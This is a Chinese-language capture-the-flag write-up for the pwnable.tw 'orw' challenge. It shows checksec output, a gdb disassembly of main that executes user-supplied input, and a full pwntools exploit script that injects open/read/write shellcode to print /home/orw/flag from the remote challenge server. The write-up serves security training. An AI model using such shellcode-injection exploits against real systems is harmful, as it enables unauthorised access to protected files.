参考资料:
首先检查安全保护等级:
1
2
3
4
5
6
7
8
| $ checksec orw
[*] '/media/data/program/ctf/pwnable/orw/orw'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
|
可以看到这个程序开启了以下保护机制:
Canary
开启,部分 RELOAD
,还有 RWX
读写执行段。
在 gdb
里面可以查看 main
函数的汇编代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
| (gdb) info functions
All defined functions:
Non-debugging symbols:
0x08048330 _init
0x08048370 read@plt
0x08048380 printf@plt
0x08048390 __stack_chk_fail@plt
0x080483a0 __libc_start_main@plt
0x080483b0 prctl@plt
0x080483c0 __gmon_start__@plt
0x080483d0 _start
0x08048400 __x86.get_pc_thunk.bx
0x08048410 deregister_tm_clones
0x08048440 register_tm_clones
0x08048480 __do_global_dtors_aux
0x080484a0 frame_dummy
0x080484cb orw_seccomp
0x08048548 main
0x080485a0 __libc_csu_init
0x08048600 __libc_csu_fini
0x08048604 _fini
(gdb) disas main
Dump of assembler code for function main:
0x08048548 <+0>: lea 0x4(%esp),%ecx
0x0804854c <+4>: and $0xfffffff0,%esp
0x0804854f <+7>: pushl -0x4(%ecx)
0x08048552 <+10>: push %ebp
0x08048553 <+11>: mov %esp,%ebp
0x08048555 <+13>: push %ecx
0x08048556 <+14>: sub $0x4,%esp
0x08048559 <+17>: call 0x80484cb <orw_seccomp>
0x0804855e <+22>: sub $0xc,%esp
0x08048561 <+25>: push $0x80486a0
0x08048566 <+30>: call 0x8048380 <printf@plt>
0x0804856b <+35>: add $0x10,%esp
0x0804856e <+38>: sub $0x4,%esp
0x08048571 <+41>: push $0xc8
0x08048576 <+46>: push $0x804a060
0x0804857b <+51>: push $0x0
0x0804857d <+53>: call 0x8048370 <read@plt>
0x08048582 <+58>: add $0x10,%esp
0x08048585 <+61>: mov $0x804a060,%eax
0x0804858a <+66>: call *%eax
0x0804858c <+68>: mov $0x0,%eax
0x08048591 <+73>: mov -0x4(%ebp),%ecx
0x08048594 <+76>: leave
0x08048595 <+77>: lea -0x4(%ecx),%esp
0x08048598 <+80>: ret
End of assembler dump.
|
可见这是一个有着完整编译结构的文件,我们主要看 main
函数中的主要功能:
在栈顶是 %ecx = 0x4(%esp)
的情况下,在 *main+17
行调用了函数 orw_seccomp
;
传入字符串 0x80486a0
,调用 printf@plt
函数。可以在 gdb
中查看字符串的内容:
1
2
| (gdb) x /s 0x80486a0
0x80486a0: "Give my your shellcode:"
|
在 *main+41 ~ *main+51
行,函数通过三个参数调用了 read@plt
函数:
1
| read(0x0, 0x804a060, 0xc8)
|
在 *main+61 ~ *main+66
行,函数直接将传入的字符串作为一个函数进行了调用。
因此程序的逻辑就是:传入一个 shellcode
后这个 shellcode
会被执行。我们尝试直接按照题目的提示进行编写(flag
在文件 /home/orw/flag
中,并且只允许使用 open
,read
,write
三个函数):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| #!/usr/bin/env python
#coding=utf-8
from pwn import *
class Challenge:
def __init__(self, local=True):
self.local = local
if local:
self.p = process(['./orw'])
else:
self.p = remote("chall.pwnable.tw", 10001)
def gdb(self):
assert self.local
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(proc.pidof(self.p)[0])
def inject_shellcode(self):
self.p.recvuntil(":")
shellcode = asm("\n".join([
shellcraft.i386.pushstr("/home/orw/flag"),
shellcraft.i386.linux.syscall("SYS_open", 'esp'),
shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30),
shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)
]))
assert len(shellcode) < 0xc8
self.p.send(shellcode)
def pwn(self):
self.inject_shellcode()
self.p.interactive()
self.p.wait_for_close()
if __name__ == "__main__":
c = Challenge(False)
c.pwn()
|
也可以跟 start
一样,我们可以直接使用 80 中断调用这三个函数。